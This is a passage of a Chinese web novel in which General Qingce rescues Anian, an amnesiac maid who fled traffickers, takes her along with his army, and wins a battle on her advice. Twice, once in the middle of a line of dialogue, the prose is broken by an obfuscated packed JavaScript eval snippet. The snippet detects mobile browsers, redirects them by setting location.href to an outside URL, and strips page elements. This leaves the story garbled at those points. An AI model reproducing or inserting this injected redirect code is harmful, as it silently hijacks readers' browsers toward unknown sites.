她呵呵笑着拔过旁草:“甜食荤腥,乱我道心。苍天助我,戒之弃之,勿乱我心。食草食气,方得,极极无上道!” 猛猛咀嚼,yue的一口,胃里仅剩的存粮彻底无了。 “哈哈哈哈哈!天将降大任于斯人也,必先苦其心志,劳其筋骨,空乏其身!啊哈哈哈哈!” 不知几个早,她照例爬出洞,拖着木板,踏上征途。 功夫不负有心人,绝望之际,终得见了远方通天大道。 明明庆幸时她却不见一丝喜悦,肚中空虚饥渴难耐,已然出现头晕目眩,脚步虚浮的症状。 凭着最后一丝力气,她举起木板冲老天丢去:“风雪压我…” 咚。 被自己砸到脚了,酷驰一下,倒了。 5. 美貌有时也是烦恼 “将军,前面好像倒了个人 。” 青策坐在马上远远撇了一眼,那人浑身脏污正面朝地,不知是生是死。他解下水袋:“看看还活着吗,给喂点水,再给些吃食。” 侍卫策马前去将人扶起,也正是大军经过之时,看清了她的脸,侍卫小哥第一时间惊讶的喊住青策:“将军,是阿念!” !青策听到这个名字几乎条件反射的勒住缰绳,亲骑小黑被勒的差点归西,直接来了个仰天长啸。 控马悬停,他利索的一跃而下,跑到阿念身边查看。迅速探过微弱的脉搏和滚烫的额头,微微松下口气。活着就好,活着就有希望。 他轻轻掰开她的嘴喂水。 军医也马不停蹄赶到了,青策小心翼翼的将她抱进马车,动作笨拙又轻柔。 被赶下马车的军师一脸无语。 …… “这已经两日了,将军不能再等了,再等下去就赶不上大军了,您放心吧,属下会在这看好她的。” 阿念迷迷糊糊的睁开眼睛,浑身的酸胀率先袭来,脚尖的剧痛攀升入心,视线从模糊逐渐清明。 见一旁青策负手而立,似在决策却好像下一秒就要答应。她观察了番周围陈设,窗边的青竹映出斜影,屋内的花香芬芳无比。触碰到锦被绵软的质感,她才敢确定自己没死也不是在做梦,不争气的眼泪止不住的往外冒,她张口喊人才发现自己的声音沙哑无比,简直是呕哑嘲哳难为听。 一瞬翻天覆地的境地,当真…恍如隔世。 青策几乎瞬间转身过来,单膝跪在床边关切道:“醒了,太好了阿念,你没事就好。怎么哭了,哪里难受吗?” “哪里都难受…” 青策手忙脚乱的抹去她的泪水,一边吩咐道:“去请大夫过来。” “饿不饿?要不要吃点东西?” 阿念不再回答,就这样静静的看了他好半晌,没有了往日的古灵精怪,不再耍嘴皮子。只是缓缓侧过身来,冰凉的手轻轻抓住他的胳膊,拿头顶抵着他温暖的掌心蜷缩起来。像一只濒临死亡的小兽无助又害怕,弓着身子埋头寻求一丝慰藉。 侍卫低头退去,识趣的带上了房门。 青策用另一只手轻轻拍抚着她单薄的背。 良久她抽噎着小声道:“你表妹把我卖了,你知不知道那群人贩子怎么对我的…” 不用讲,带她回来疗伤的时候就得知了,手指脚趾全是针孔,十指连心,不敢想有多疼。 青策蹙眉难言,咬着内唇:“对不起阿念。” 她嘴唇颤抖,一味宣泄着积压心中的恐惧:“…我,我好不容易跑出来,我也不敢走大路,我在山上爬了很久很久,晚上又冷,还有兽叫,很多很多奇怪的声音。我不会生火,连大的山洞都不敢睡,我只能找很小很小的洞,找不到我就得自己挖,我感觉我全身上下都是虫子,全都是土,有的时候还会有不知道什么东西从我上面跑过,我真的很怕你知不知道?没有东西吃,我也没有水喝,我一个人,我的脚也很疼,手也很疼,哪里都很疼。” 她越来越控制不住自己,从抽泣变成了止不住嚎啕。 她看起来快要碎了,生离死别再重逢,男女有别在此刻仿佛不值一提,只想尽可能给予无助者温暖。青策将浑身颤抖的她抱起,后手附在单薄的肩胛上,另一只手轻拍着她的后脑勺:“我知道了,对不起阿念,对不起……” 她不停的摇头,呜咽着反驳逐渐失控:“你不知道,你一点都不知道!你根本不知道我当时有多绝望,你妹妹是金尊玉贵的小姐,她就可以目无王法,胡作非为吗?难道我是奴婢,我的命就如草芥吗!你为什么带我回来却又不同她们交代清楚我为何来?在你们权贵眼中我们的命就如蝼蚁般可以随意碾杀。我到底是谁,我的家在哪?我讨厌你们,我要回家,我真的好恨你们……我真的很害怕,我不要一个人了……” 她口是心非,紧紧环住他的脖子,用力的埋在他怀里哭吼。仿佛抓住了最后一根救命稻草,怕这唯一的温暖只是片刻的美梦,她一味将自己深深嵌入炽热的怀抱。 从没亲眼见过有人哭的这般声嘶力竭,没有记忆,没有武功,只身一人突破重围逃出生天,又独自在荒郊野岭盘旋这么久。适才上药时见她双脚全是磨破的水泡,血肉模糊,看的人触目惊心。青策不经心疼的落下泪来,不停的轻拍着她的后背以示回应:“对不起阿念对不起,我会帮你找到身世的,我就在这。” 不知哭了多久,终是累的又睡了过去,青策找来冰袋裹上好几层布,轻轻的给她敷眼。 次日清晨,阿念面无表情的坐在桌子前喝粥。 满满一袋银两落入眼中,青策拍了拍她的肩,柔声的道:“阿念,你就在这,等我打完仗回来接你,我会把亲卫留下来保护你。” 她停下动作,垂眸片刻放下碗勺,绕过钱袋,抓住了那只温热的手,眼神也缓缓慢移与他对视:“不必了将军,我想是时候说再见了。失忆总会好的,就算不好,我也不该再同你们有过多牵扯。” 青策脑子嗡的一声,从小到大手里死握的永远是坚硬的刀柄,何曾有过这般温软之物。他触电般下意识抽手:“这次是玥莹瑶对不住你,总归也和我有关系,而且你因我而失忆,我该对你负责,你别有负担。而且,你不还是相府的人吗,我也有求于你。” 看着满脸通红的他,阿念依旧神色淡然:“不是你撞的我,而是醉汉推的我,车子合法合规的正常行驶,你出于人道帮我至此我很感激。你我萍水相逢,没有谁该对谁负责。相府的事,若我往后记起会托书与你的。” 青策无意识的将手藏到背后慢捻:“你都没有户口,也不知道自己是谁,出去了怎么活?” “黑户有黑户的活法,那是我自己的事。我有手有脚也会自己寻觅身世,不劳费心。” 阿念继续低头喝粥。 鸦雀无声良久。 青策感受着时间的流逝,坐下推过一张什么金片子,与她柔声慢道:“何必如此艰辛,短则半年我便回来了,你什么也不需要想,安心治病,只要带着人随处游玩都可以,钱不够了拿着这个卡去钱庄取,密码是…” 阿念看着听着,轻笑打断道:“我们是什么关系?” 被突如其来的一问,青策也直白笑道:“你不是说,我们是朋友。” 她不声不响,所有人以为她是默认,结果青策前脚刚启程,后脚人就不见了。 他头疼的看着手下,侍卫也无奈:“将军阿念说她要洗澡,关了门还叫我们站远,我们实在…男女有别嘛!” “快些把她找回来,她孤身一人怎么活。” …… “我孤身一人怎么就不能活,非亲非故,你们是我谁,轮的着管,放我走,否则我要告你们绑架。” 青策挥退侍卫,无奈挑眉:“怎么会有你这般怪人,放着好日子不过非要去走独木桥。” 阿念无语的拍桌子:“我还想说怎有你这般怪的,素昧平生管天管地。你管这个叫朋友,拜托你去外面打听打听,这叫包养,叫包养。所有人都把我当你的情妇,我从前也是脑子被箭射了一般心安理得,被别人指着鼻子骂都无力反驳。” 他被说楞,假做朋友的遮羞布被掀,躁动不安的心,以及反复浮现她的大脑展露无疑,下意识脱口而出:“那你愿意吗。” 阿念蹙眉,伸头疑惑自己方才所闻:“什…什么?” 他也一惊:“不…不是那个意思。我想说,就是你愿意…嗯…呃…” 一顿舌头打结,他吸了口凉气,深呼吸后袒露道:“我想说,我好像喜欢你。” 轮到对面楞了,她上唇提起,难以接受的侧头:“你,你也被后宅洗脑了吗,刚才说,我们是朋友。这下,又?爱上了?” “我只是不想你离开。” 豁开了一点缺口他索性破罐破摔,也不藏着掖着了:“我知道我无权留你,毕竟我们好像认识没多久,但…我也很疑惑为什么一想到你要走,我就…很烦。你失踪的那段日子,我很焦灼,从没有人,叫我这般波动。我也不确定这样的感情是不是…爱?但,我的确不希望你走……阿念,我想和你玩。” 阿念的眼睛被这番雷霆发言迫使,逐渐睁大,企图理解:“玩?玩什么?” 他思索着烦躁的挠头:“就是相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239491|197665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处,就是他们那种伙伴和伙伴,那样一起玩。” 阿念静静的观察着他连自己都摸不清的模样,默默挪开距离,冷酷无情道:“可是我不想。” “要同皇亲国戚的你做朋友,我没这个格。你身边的人会将我蚕食。” 他刚要开口,阿念抬手示意闭嘴:“我知道你要说‘我会保护好你哒’但我若事事要依靠你,这种不对等的关系下,我会变成笼中雀。这不是朋友,是圈养,小将军。今日是我性格引你兴致,后日是我身子好似也顶,然后我们会是什么关系?” “你在毁了我。” 青策被说的一时无言以对。 “你我云泥之别,离别才是真朋友。” 从前总是他被人强迫,没想到有一天自己也成了其中一员,他不想可他也不想。两难僵持不下,四下无人他破防道:“那你那日还拉我的手,还那般楚楚可怜的看我!” 阿念挑眉,有些心虚的摩挲下巴:“后者我否认,但…我拉你吧,主要是在问自己。实话说,我现在挺恨你妹妹还有那群人,我在确认自己是否想通过你诛她的心,并且收拾那帮人。但我最后想想,还是不值当。老天爷给我生机,不是为了蹉跎,这不值得搭上我的半生。若有机会此仇必报,但前提是得靠我自己。” 她抱歉的看向青策:“只是我没料到,我的魅力竟这般大…” 她突然莫名其妙的勾唇,且有一丝丝娇羞,不好意思般偏过头去,捂嘴讪笑:”你说说,怎么长的这般美,人还有趣,倒也真不怪你,嗨呀,以后会注意的啦。” 青策目眦尽裂,气的笑不出来,雷的火难上头。 他无话可说,但场面却不尴尬,因为阿念已然掏出镜子自我沉醉了:“今日这个睫毛没夹,不过倒无妨,不失自然本真……” 良久,青策拍了拍她,等人转过头来四目相对时才道:“生死之仇,不共戴天,你倒心大,但她们万一知道你没死会放过你吗?因此事她们在京都成了恶人,成了笑话。如今过街老鼠,家中被骂外面被说,这笔账会不会记在你头上。” “好有道理,将军谢谢你这么替我着想。” 阿念双手握拳抵在下巴处,卖萌的扑朔着亮晶晶的眼眸。青策心虚的垂眸轻咳:“倒也没…” “确实是没,你少吓唬我青策。天高皇帝远,你离我远点她们怎么知道我活着,何况我又不打算回帝都去。姑奶奶我,要去云游四海!” ……真不知道她哪来那么多戏,青策抿了口茶也端起架子:“不好意思,重逢那日不是我一人,是整个军队,所有人。” 阿念嘴角抽搐,随后一把拿过桌上的老演员,银子。 “那你可得赔我点颜面扫地费,来不及装乞丐了,我得快点跑路。” 青策穷追猛打,继续唬人:“玥莹瑶的爹是我父亲的麾下,此次随我出征,早就也晓得了。他和我娘一直极力撮合我和她,已经到了疯魔的程度,我们如今八成也在被他监视,你估计没走多远就会被他的人灭口了。” “靠!” 阿念不慎脱口而出,内心顿时烦闷无比:“真是误闯天家了,才吃你们几口饭,得什么好处了就这般大的反噬。都怪我!” 她莫名扬起手要扇自己,青策赶忙相劝,怎料那手重重抬起,轻轻贴上,矫揉造作的偏头捂脸,似受了极大的伤:“都怪我…长的太美,叫谁都觉得这世上怎会有不爱我之人,若我是个男子,你那表妹怕都下不去那手。哼哼…怪我太美,美貌有时也是烦恼。” 虽然她长的确实艳冠群芳,但这般……真叫人败了气氛,青策叹息,直截了当:“你随我回军营吧。” “哈?” 阿念疑惑的看向他,青策死死攥着桌下的衣摆,若此计不成,他真没招留下她了。 他清了清嗓,面色如常道:“本将也非强人所难,死缠烂打之辈,但毕竟此事因我而起,我总得护你周全。我奉旨赶往前线耽搁不得,没有太多人马保护你。你…你只能跟着我,届时他们以为你在此却找不见人,等风头过了,你随时走。” 去军队,从未有过的体验,阿念来了兴致:“有点意思,走呗走呗。” 6. 臭饽饽 不日将军身边好似多了个亲卫。 晚间营帐。 青策铺好被褥主动睡在地上,阿念眼瞅着堂堂一个主将打地铺,这…有些说不过去吧?她蹲下身戳了戳他;“哎,将军您还是睡榻上吧,地上容易着凉。” 青策:“男女授受不亲。”转头继续睡。 ……不是大哥谁说睡一起,阿念眉心突突,隔空给了他一拳。起身报复性蔑视,径直往人身上跨过:“真当自己香饽饽呢。” 行军路上舟车劳顿,两人很快沉沉睡去。然好景不长,才到后半夜她就被连绵的噩梦惊醒。梦魇的追击还未消散,一时分不清现实和梦见,伸手不见五指的黑夜,心脏无比清晰的狂跳。 她喘着粗气,连带胸膛剧烈起伏。夜里的感官变的异常敏锐,克制不住的陷入无尽恐慌。 门口,青策举着烛台恰好回来:“诶你…” 未曾寒暄完,两人打了个照面,那双疲惫无神的眼睛同白日相比简直大失光彩,根本不像睡过觉的人。走近一瞧,额头全是细细密密的汗珠。 “怎么了?伤口疼?” 他赶忙将烛台搁置案头,拿出手帕递给她:“要不要找军医来看?” 阿念疲惫的摇头,接过手帕擦按薄汗:“非也非也,噩梦而已,不劳烦了,我可不想掉马甲,你舅舅杀过来砍我怎么办。” 青策心虚的笑笑:“没事就好。” “不过,你大半夜的去哪了?” “解手。” 擦汗的手一顿,目光直勾勾盯向那只递来帕子的手以及脑门上的原味手帕。 “骗你的,哈哈。” 阿念上唇反起,一排白牙无声道:一点也不好笑。 他挑眉转移话题:“马上便到国境,圣上一声令下便要收复失地,却连仔细筹划的时间都不给。最新的地形图刚刚才到,睡不着。” 阿念思索道:“他是不是想隔开你和太子。” 青策浅笑:“的确如此,原先的目标是我爹,但他离了半晌就借口自己风湿关节炎,回京述职换了我来。” 阿念鬼迷日眼的撸了把脸:“你们也真够损的。” 她撑在床头叹了口气:“这多算胜,少算不胜,而况无算。就知道醉翁之意不在酒,如今这个节骨眼支开你们,是在为最后的斗争先行一步棋吧?这场仗打完,宫中的腥风血雨想必也该落幕,可有太平日子过喽。不过话又说回来,于我而言倒是还得言谢,不然可就曝尸荒野,成了一缕孤魂野鬼。” 阿念忽的起身,斜眼恶笑:“然后找你们追魂夺命,呵呵哈哈哈啊哈哈哈!你和你表妹还有那帮贵女以及人贩子,统统咬死,咬死…嘶……” 唱着独白,见他毫无反应就算了,还若有所思的盯着自己,阿念不解问道:“看什么,再看收费了。” 青策被气笑了,片刻却又忧心忡忡道:“只是…你读过兵书吗?” 阿念挠挠头:“啥意思,我咋知道,你问我一个大脑空白的。而且你能不能坐下,居高临下的怎么个事。” 青策刚坐下,她反应过来,连连护住自己疯狂后退:“你该不会又怀疑我是奸细了吧?先前不是讲我是那个什么将军府,呸,不是将军府…呃,丞相府的丫鬟吗。那位千金博采众长,样样精通,她院里的自然也少不了耳濡目染。这,这只能说明我聪慧过人。” 青策笑着坐转身体,不再面对她:“不排除嫌疑,毕竟你可真是叫人头疼,浑身上下没有一点值得信任。” 她翻了个白眼:“来来来,你给我看看地图,你不用告诉我周军布防,敌方即刻。本姑娘用我尊贵的头颅勉为其难指点一二,给将军您表表忠心” 地形图上三点一线,分别为边境,扬州,以及丰城(距离扬州最近的城池,此次的目的地,如今的国境)从前都为周国疆土,前两者如今被倭寇侵占。 边境后不远便是条江河,江后是倭国。边境至扬州的路上,两侧青山,中路平坦无阻。而丰城和扬州中间隔了座山谷,地势十分险峻。 阿念将图放在床上盘腿而坐,弓腰枕着掌心,全神贯注的详看许久,侧头问道:“将军可有计策了?” 青策道:“先行劝降。你猜的没错如今朝中局势剑拔弩张,没有十成的把握,我处也不宜大规模主动开战,以防重蹈昔年覆辙。但君令不可违,所以摸摸鱼就行。” 阿念顿时无语:“在其位谋其职,你如今雄兵在手,能不能有点志气。” 青策郑重的接受批评:“也不是全无道理的劝,我国地处中原金乌西坠,坐拥丰饶,近几年的休养生息国力已然恢复了六成最右。倭国人体格矮小居多,军队能力相比之下不算强劲,当初侵略多靠火药武器。殿下这些年明里暗里对于军事方面极为重视,旧臣归新人至,可谓集思广益。我们现在的装配,相比倭寇有过之而无不及,且此次我们的兵力多出他们。” 阿念虚心受教:“假设,此次出征必须凯旋。若他们不降,你道如何? 闻说那倭国地狭人稠,土地贫瘠又连年天灾,是被诅咒的不详之处,所以他们急切的想要侵略。刚攻下城池不久倭寇就开始大批涌入,现如今边境多数尽是贼寇。穷寇莫追,没有退路的敌人最难打。” 青策思索着垂下眼帘,手指轻轻摩挲着衣料。阿念主动贴来,在他耳畔附声。起初,那湿润温热之感把纯情小处男惊的狠狠一抖。 不久他的表情从开始的局促转为茅塞顿开,昏暗的营帐里两人你一言我一语的讨论起来。神情之生动,堪称哑剧,斗志之昂扬,仿佛临阵。 哑巴:这般壮怀激烈,在讲什么? 瞎子:有蚊蝇扰人,但……不像本地蚊子,有口音。 两人高山流水遇知音,相见恨晚直愤慨。发了狠,忘了情,恨不得一块窝被子里讲。 眼见红日冉冉升起,两人似被夺智,醉酒般看向窗外呵呵呵傻笑:“成了,成了。” 距离启程还有半刻钟,阿念砰一下倒床不起:“还有时间,睡…一会会儿。” 青策点头,支撑着爬到地铺:“晚安…不,早安……阿念。” “嗯?” “你的箭伤在左心口吗?” 阿念累的魂在飘:”什么箭伤…没有,我晶莹剔透…什么晶莹剔透…白无瑕。” …… 一日,阿念马车坐久了觉得自己行了。兴致勃勃的亲自驾马车,差点翻到沟里后老实坐在车外,心无旁骛的看书。 青策在前有意无意往后瞧她,回过头来也没有偷看不要钱的窃喜,还似满腹心事,忧心忡忡。 他唤来亲卫询问:“找相府管家之事可有眉目了?” 侍卫答:“前些日子找到了,但是大家都以为阿念死了,就没去寻。” “将人带到府中,到了丰城叫人画张阿念的小像寄回去,问问管家这可是…大小姐的丫鬟。”青策好像叹了口气而眉头却未松。 晚间回到营帐却空荡荡,没有人影。想必明日就要抵达丰城,忙着商讨呢吧。阿念扭了扭脖子,伸个懒腰,抱上被子在地面安营扎寨,安然入眠。 时间差不多了,青策做贼状,轻手轻脚进帐。见她裹成一团睡在地上,思虑再三还是将人连被抱起,小心翼翼的放在床上,加盖了层被子。自己则蹲在床边,玩起了一二三木头人。 睡梦中人自然转身,明艳的面庞在烛光下尽显柔色,他掩了掩被角,情不自禁的轻声询问:“你是谁?” “阿念呗。” 不料她竟突然睁眼,猝不及防的对视,那双灿若星河的瞳仁丝毫不怯。倒是青策手足无措,慌忙起身连连退后:“呃…!我吵醒你了?” 阿念摇了摇头,颇为善解人意道:“本来就没睡着,你招呼也不打就哐的抬我,我觉得吧…这种场合下睁开眼,好似有些尴尬你说呢?本来还想装睡的来着。” 青策随即无语:“你……稀奇古怪。” “你才古怪,我这叫人情通达。” 她不知从何处掏出本书来,大字写着《职场生存指南》 阿念轻抚着书,颇有伯乐相马之情:“多亏这本葵花宝典,待我功法大成。届时仗剑天涯,与人相处定会得心应手。” 她陶醉着突然反应过来:“不过你刚刚那话是何意味?干嘛突然旧事重提,早上又趁人之危问我什么箭伤?是不是我的身世有眉目了?” 只看他眼神躲闪回避,嘴上说着不曾,人就要逃。 阿念察觉不对,坐起身,一把拉住他的袖子:“你和我说实话,到底怎么回事?” 青策背对着她,避如蛇蝎般抽出衣袖,表情像灌了百吨铅,艰难的一个字一个字往外蹦:“哪有丫鬟有你这般谋略。虽然不可能,但你若不是奸细,你这般大概只有,只有…” 阿念呲牙看他支支吾吾的样,气不打一处来:“不是我说,丫鬟怎么了?诶诶诶,你真的是自大妄为,固执己见。聪明的大脑是被你买断了吗?铁杵才能磨成针诶大哥,就照我这个扑朔迷离的身世,不机灵点能活到现在吗。我唯一的败笔就是未曾早见此书,重生一遍记忆为零,初出茅庐野人一般,没有分寸。早知,死也不能到你家去!” 青策心烦意乱的挨批斗:“是是是,你说什么是什么,你…你睡吧,我出去走走。” 她骂完前面,找他后面:“若我不是细作是什么?” 青策不想逗留,后悔就不该开口,如今只想落个清净从长计议:“没什么,你快去睡吧。” “你嫂子?” 临门一脚,一语道心。 他转身靠在木桩上:“以知的零碎拼凑起来,直指那段过往。你失忆前与那对夫妻说过,护主中箭。怎么会有这么巧的事,阿念我再问你遍,左心口可有箭伤?” 阿念也收敛了锋芒,默默坐下扒着床沿:“那夫妻怎么没同我讲…什么都同你说,真是叫人无语。你先前不是说,那千金手被砍了。” “手不是头可以造假。” 阿念垂眸,晃了晃腿:“我没有,你已知的过往,只是那对夫妻的一面之词,说不定她们才是居心叵测的细作。” 青策蹙眉盯着她,阿念见他不信,起身就要敞开衣领:“我真没有。” 他霎时转身不断退后:“知道了,就当是你以前撒谎,现下好好休息。” 压根没动的手闻言放松,阿念转身调节气氛道:“你为什么没有见过丝莫竹,你们两家不是世交吗?” 青策一瞥一看的回头,生怕见到什么不该看的:“我很小的时候便举家离京,从前是见过也记不清了。” “画像也没有吗?” “殿下应该有,搜捕队也有。但…” 阿念眼睛一眨不眨盯着他:“那你要来看看不得了,你干嘛不去要?是怕打草惊蛇引来太子,我若真是,你表妹就得遭殃吗?” “我去你才有被害妄想症吧,我!” 青策苦恼的砸头:“我要是去,此事就板上钉钉了。你若有万分之一的可能不是,全牵此事,不管你是谁,能有何好下场?我私下寻来了相府旧人,待到丰城传你画像一问便知。” 阿念点了点头:“还从未想过,能与她相关。” 她挪到角落瑟瑟发抖,环抱住自己的胳膊,摩挲取暖:“好可怕的设定。如果我是她,家破人亡,未婚夫另娶。如果我不是,我又为何在失忆前同她牵扯。青策,你还记得初见我穿的什么?” “白衣。” “是了,我同书生夫妇来的帝都,她们看起来穷的叮当响,我的衣料却不差。虽因车祸脏了破了,但衣摆尚好的地方无半分磨损,可见崭新。诶?她们有没有同你讲过我在倭寇那是做什么的?” 青策闻此,眼神有一丝游移:“不清楚,没有说。” “好吧,但鞭伤等等可以说明我也是个穷鬼。那我怎么到了帝都不辞而别后就突然暴富了?而且我身上有钱,是大周的钱币。这样来说,我在出意外前见过什么人。” 青策闻言不合时宜的来了一句:“你有钱还赊账。” 阿念闻言唉呀笑道:“那不是要为以后谋划,你家又非我长久之所。” 她笑着笑着突然愁眉苦脸,双手作揖开拜:“那个青策…是不是不管我是哪个,都要完蛋了?你会把我交给太子吗?不要啊…太可怕了,我只是个小老百姓。” 她痛苦的摇着头,开始收拾:“死嘴,就爱逞能,这下要把自己害死了。我得跑路了,你们这龙潭虎穴不是人待的,你就当没见过我行不行,我不会对你们造成威胁的,我只想好好活着。” 青策煎熬着,上前按下她掏书的手,仿佛下定了某种决心:“别急,上述不过猜想。等水落石出,倘若你不是相府之人,前程往事,过眼云烟。医馆门口你的豁达,我的回答。山高水远,是去是留,我都相送。” 阿念抬起眼眸,似被真诚打动。片刻笑道:“若是呢?” 青策收手,垂头坐在一旁:“我不知道。” 阿念咬牙,抬眼舒了口气故作轻松道:“若我是她,就利用你,杀了狗庸王,报复狗太子。” “太子是无辜的。” “并不无辜。” 青策:“无辜。” 阿念:“不辜。” “无辜,无辜!” “不辜,不辜!不辜……布谷?布谷布谷~” 两人吵着,莫名笑了出来。但很快,心中的吊桥断开,极速下降。 阿念扣着床单:“那断臂残肢是怎么回事,你上次还没同我讲,三皇子人是好是坏。他不是救了太子,你怎么又讲他诛太子的心。” “亦正亦邪,他虽记在姑姑名下,但只伴君侧,如出一辙的古怪。他对表哥很尊敬,但有时也会落井下石,尤其对待嫂…莫竹姐姐,很大敌意。” “为啥?” “未解之谜,我也是听说。” 阿念撇嘴:“真费解。为什么是焦尸,为什么是残肢。我都能想到不合理,那个情圣太子呢?诶,青策你给我透个底,那个太子是不是个伪君子。外头铺天盖地的讲他重情重义,在丝莫竹这件事上我怎么没感觉到。” 青策不太喜欢她一直诋毁自己的上司兼表哥:”不是,这些年殿下一直在扬州乃至附近寻找,地都刨了个遍。都算跨国寻人了,多难你明白吗。你猜从前骗子如何骗赏?” 阿念摇摇头,凑近了些:“如何?” “寻来骨龄相仿的尸骨冒充,都在皇陵寺摆着呢。全和那只手臂对不上,待认领中。” 阿念陪笑。 “你真别因片面所知,一味诋毁别人。否则与玥莹瑶她们还有什么区别。当年回京殿下自己也是重伤,一醒…” 她笑不出来了,一声不吭,九十度仰望天空,睁大眼睛摊开面积不让泪落。 青策顿口:“…抱歉,我没那个意思。” “没,你批评的是。继续,焦肢案。” 青策默默拿过擦汗的帕子再次递上:“殿下醒后距离交战以过月余,六皇子阳奉阴违刺杀太子早被处决。外界只余三皇子虎口救兄。但是周叁他只管殿下不管嫂嫂,周劉眼见事情败露气疯了,一把火烧了在场所有尸体,还把嫂嫂拖出来鞭尸肢解。周叁就捡了残肢刺激殿下。” “香吗?” “什…什么?” 阿念不合时宜道:“对不起,就是烤楞的话会有烤肉味吗?如若火候恰到,丝莫竹的胳膊会不会变成风干肉干。” 青策目眦尽裂,破口骂道:“你是人吗?” 阿念也知着说不过去:“抱歉,抱歉,就有点好奇,没有不敬之意。” 青策却对她的身份偏移重叠,一个经历过血河尸海的人,怎么会讲出这般丧尽天良的话。看不到半分悲切和同理心。失忆能抹去心中烙印吗? “总而言之,殿下一直在寻。” 阿念左右努嘴:“可我在边境,她在扬州。丝莫竹就算没死,但是肯定受伤了,而且达到了极重的程度,叫她青梅竹马的未婚夫都以为她九点九成死了。而且你说六皇子还放火烧,总不能真千金不怕火炼,不跑回家跑到边境去干哈,找小屁孩的你反杀回去夺回王位啊?” 青策闻言沉下心来思索:“确实牵强。但,残肢断臂皆是三皇子一家之言。” 两人目光交汇。 阿念:”呀呼,我要是她,仇人又添一位。” 青策不语。 “但我不是,我没有伤。” 阿念见他依旧不语,死死攥紧两片衣襟,就狂扯着往他身上贴:“你不信?你看嘛,看嘛看嘛…” 扯了半天露了毫米,青策蹙眉撇眼,脸红成烙铁,拒绝与她一切肢体接触:“男女有别,成何体统。你…好自为之。” 次日,山里。 清凉的泉水滋润身心,自从归队,都没好好洗过澡,顶多木盆擦身,叫人意犹未尽。 银丝瀑布飞流直下,耳边只有水声哗哗,四方八面被绿意裹挟。畅游天地间,忘却凡尘事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人还未开口,紧随其后又一个兵士急匆匆的冲进门:“报!敌方知晓都城消息,在城中开始整装,探子来报他们将近出动了所有兵马!” 乙一拳砸的桌子差点四裂:“岂有此理,怎会如此!敌军竟知晓的如此迅速,他们的细作显然已经深入我们内部!而今大军绝不能走,不然丰城必破啊!” 青策皱眉默不作声,把房间里一众壮汉急的满头冒汗,迫在眉睫之际他忍痛开口:“君有难我等怎可不顾,召令全军即可回都。秘留三分之一的兵马驻守丰城,乙将军你等一定要撑住,等我们回来!” 等你回来,等你回来黄花菜都凉了,乙将军内心大骂。 “将在外君命有所不受啊将军!你们走了城内士气必定大减,城定必破啊!如若国破哪还有他们争的皇位!”众将士悲愤的吼到。 “如若三皇子胜,国家必定又如十年前一般民不聊生。他上位后容的下我们?那时倭寇也必定攻城。” 青策做沉痛状:“两条路都是死不如拼一把,对外称全军回援帝都,撑到我们回来。另外封锁全城,一只鸟,一封信都别给我飞出去!”他拍了拍乙的肩膀,去意已决。 众将叹息,目送他离开。 夜晚城中灯火通明,军队整装待发。阿念站在城墙之上与青策遥遥相望。 不日倭寇果然全军兵临城下,敌方将领贪婪的眼神势在必得,满脑皆是眼前一座座金山银山,一个个人头奴隶,以及无上的军功官职。 城墙上乙将满眼的恨意,他怒吼道:“将士们倭寇来了,为了健在的亲人,一定要把城守住咯!为了无数同胞的冤魂能瞑目,一定要让他们偿命!” 战鼓号角响起,两军开战,火球抛砸在城墙上,震天动地的剧烈。阿念在城中,心里也是不由的一紧。敌军顺着云梯一个接着一个往上爬,砸也砸不完,眼看就要登上城楼。 火烧眉毛之际,一支羽箭划破风沙正中敌方主将后脑。 城上的士兵见此大喊:“是将军!” 青策带队从敌人后方径直杀来,守城将领皆是一喜,苦苦支撑在城门口将士也重燃斗志,怒吼一声死死抵住城门。 周军士气大涨,敌军大乱,慌不择路,有散沙之势。 倭寇当即认为自己被骗,收到了假报。寒枪冷箭,只能鱼死网破,殊死搏一线生机。 却有眼尖的发现青策带的人马极少,肉眼可见的少,威风不久便难以支撑往一旁撤去。 敌方军师道:“副将莫慌,他们人手极少,当是反诈。周人真是狡猾,大队回京,小队虚张声势,造出夹击假象。” 副将看着一旁爆头的同事,蹲至战马肚下死死护着脑袋:“话虽如此,但太过冒险,万一还是诈呢?需得从长计议,下令回城。” 可不得平安回去,上司祭天我升官。 四散的军队匆忙向谷口涌去,进了山谷见周军并未追来,待升官员觉得自己揣摩对了,松懈下来。 头上滚落的火球和利箭让他们瞬间一劳永逸,一命呜呼。 军师站在山谷之上领着小队青军砸火球,射羽箭。老登扇子丢在一边,疯狂搬起石头往下砸,累的满头大汗还挺乐呵,原来上战场报仇的感觉可比幕后爽。 此战,扬州倭寇几乎全军覆没,留在梁城和扬州毫毛般的剩军,马不停蹄的逃往边境,以求大军庇佑。 毫不知情的大军前脚刚走,后脚又被召回,得知真相,雷霆嘎巴:“草,你们连自己人都骗!我说将军怎么突然坐起了马车,人怎么能这么坏!” “虎父无犬子,小青将军果然有老将军年轻时的风范啊!不过你瞒的我们这帮老骨头好苦,好苦呐。” 乙将满脸笑容,看着青策,多想给他抱起来举高高。当时心里骂的有多狠,现在就有多喜欢:“哈哈哈哈哈,我军这次伤亡微乎其微,老天有眼,真的是报仇雪恨!” 青策出神的想起那晚,阿念说:兵以诈立,以利动,倭寇狼子野心,何不引蛇出洞……想着他只是淡淡笑了笑,一口干下整壶酒:“将军们还是尽快休整,明日就要回扬州了。” 是夜,阿念美美洗完澡躺在床上看书。 正看的入迷,砰的一声,门突然被推开,吓的人一激灵。 只见青策酒气熏天,一声不吭进来。 